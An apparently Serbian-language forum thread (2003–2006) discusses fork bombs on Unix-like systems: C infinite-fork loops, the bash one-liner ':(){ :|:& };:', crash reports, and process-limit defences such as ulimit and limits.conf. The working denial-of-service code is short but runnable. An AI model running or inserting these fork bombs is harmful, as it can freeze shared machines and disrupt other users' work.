[ t3chX @ 17.05.2003. 04:33 ] @
Ovako, ovo cu postaviti kao JAKO teorijsko pitanje ...
Poznato je da prosecan UNIX-oliki sistem (npr. Linux) ima ogranicen broj slotova za procese u proces tabeli (ako se varam, ispravite me).
Dalje, pod pretpostavkom da svaki user na sistemu ima MAX_PROCESS (tako li bese varijabla?) = unlimited probajte bezgranicno forkovati:

Code:

int main() {

for(;;) {
  int p = fork();
}

return 0;
}


Sta se desava kada se dodje do ogranicenja koje namece tabela ?


[ t3chX @ 17.05.2003. 05:03 ] @
Na Red Hat Linux 8.0 sistemu, gornji kod je krahirao masinu (P4 2,2 GHz, 512M DDR) za nepunih 5 minuta.
[ B o j a n @ 17.05.2003. 12:24 ] @
sistem openbsd 3.2-stable 200MHz 64MB
Code:

$ gcc -g  -c test.c -o test
$ gdb test
warning: failed to install memory consistency checks; configuration should define NO_MMCHECK or MMCHECK_FORCE
GNU gdb 4.16.1
Copyright 1996 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386-unknown-openbsd3.2"...
(gdb) run
Starting program: /tmp/test

Program received signal SIGSEGV, Segmentation fault.
0x0 in main () at test.c:1
1       int main()

Program puca ...
Korisnikova ogranicenja:
Code:

$ ulimit -a
time(cpu-seconds)    unlimited
file(blocks)         unlimited
coredump(blocks)     unlimited
data(kbytes)         65536
stack(kbytes)        4096
lockedmem(kbytes)    13032
memory(kbytes)       39096
nofiles(descriptors) 64
processes            64


Nadam se da je ovo bilo korisno.
[ Dejan Lozanovic @ 18.05.2003. 16:01 ] @
pa kada napucas granicu bilo ulimit ili fizicki limit manje vise si blokirao sistem. Ono sto je sigurno recimo da je posljednji slobodan proces uvek rezervisan za root korisnika..... Ja sam svojevremeno radio takve stvvari kod mene na linuxu, jos sa 2.2.xx serijom kernela :)) i stvar je stabilno radila :))) ali cela ideja sa tim forkom mi je pala napamet kao pravi lokalni DoS
[ t3chX @ 18.05.2003. 22:35 ] @
B o j a n : Naravno, Theovi momci su osigurali OpenBSD do krajnjih granica (nije dzabe "Secure by default"). Ali isto tako susta je cinjenica da svi OSTALI *NIXi nemaju ulimit-a ...

Tako npr. FreeBSD 4.7 dozvoljava izvrsavanje koda, kao i NetBSD 1.5.2 (provereno kod mene na masinama), da ne govorim o Linux-ima (Slack 8, RH 8).

Zamisli scenario remote logovanje, a onda i izvrsavanje sa nohup-om ... Prosto je neverovatno da developer team-ovi ne brinu o ovakvim stvarima ...
[ tOwk @ 19.05.2003. 02:04 ] @
Pri testiranju na ovaj način, meni sistem samo izuzetno uspori (ma jel'? ;-). „ulimit“ je konkretno podešavanje koliko moj shell može da pokrene procesa (tako kaže „man bash“), i zato nije preterano bitan u testu (npr. kod mene je ograničenje bilo oko 1400, a pokrenuto je i mnogo više procesa), pošto ostale procese ne pokreće bash.

Ukoliko ovaj proces „nice-ujem“ („upristojim“ :-), onda mogu i ponešto da radim, a da ne dođe do pada. Međutim, nisam čekao baš predugo (oko 10min), pa kad budem imao više vremena, videću kako se ponaša u takvoj situaciji.
[ Jovan Marjanovic @ 23.05.2003. 13:27 ] @
Po nekoj staroj teoriji SunOS ne bi trebalo da dozvoli takve stvari. Onda se nasao jedan lik koji je resio da proba sledeci kod na produkcijskoj masini:

Code:

void main(void)
{
    int n=0;

    while(n=fork())
         n=fork();

    return;
}


Masina se zaglavila u roku od pet minuta, a tip je dobio opasno po tamburi (mislim da sam isti slucaj vec opisivao u nekoj temi na forumu).
Mada, lokalni DoS je moguc samo kad root potera isto programce.
[ chupcko @ 23.05.2003. 15:01 ] @
Eh, ja mislim da su proizvodjaci nozeva krivi za sva ubistva izvrsena nozem :), kao i sto su proizvodjaci kreveta krivi za sve smrti u krevetu (kako mogu mirno da spavaju u tim istim krevetima :) ).

Naime na ozbiljnijim masinama se lepo stavi limit na broj procesa pa ko hoce da iskoristi sve svoje procese neka odradi to, a da li je zastita od toga ugradjena u kernel ili nije, je vec pitanje kako neko voli ili ne :).

Secam se price kada je neko testirao neki njinj sa nekim linuxom i izvukao zakljucak kako na njinju bolje radi web server (posledica sto je koristio default kompajliran kernel u nekoj distirbuciji (za single procesor masinu) a masina je bila 4-procesorska :) ).

Dakle to je normalno da moze superfork da sjebe masinu :))))), ali to i nije cudo, to mu je receno da radi :)))).

uzgred, sto pisati C, evo za bash: # :() { :|:& } ; :
[ tweeester @ 23.05.2003. 15:35 ] @
Na RH7.2 po default-u imas 256 procesa po user-u, tako da sam bez problema run-ovao programce i masini ne pada na pamet da rikne, doduse odziv je jadan ( a sta ocekivati)...
[ B o j a n @ 23.05.2003. 22:55 ] @
Citat:
chupcko:
za bash: # :() { :|:& } ; :


ovo je dobra fora L;)))
supa-mega-fork unutar jednog procesa, tj. -bash-a.

mislim da se ovakav dos moze adaptirati za bilo koji drugi cli. mysql(1) mozda ?
[ BORG @ 24.05.2003. 01:28 ] @
limits.conf
[ DownBload @ 31.05.2003. 21:11 ] @
Ovakvi fork() napadi su jaaaako stara stvar.
Jedna od prvih local DoS forica.
[ EArthquake @ 25.06.2006. 10:11 ] @
http://en.wikipedia.org/wiki/Forkbomb

uvek mi je bilo interesantno da gledam sta se desava kada neko na ircu pomene taj bash form bomb :)
doduse prisecam se i jednog puta kada nije bilo bas smesno :) DownBload, znas na sta mislism :)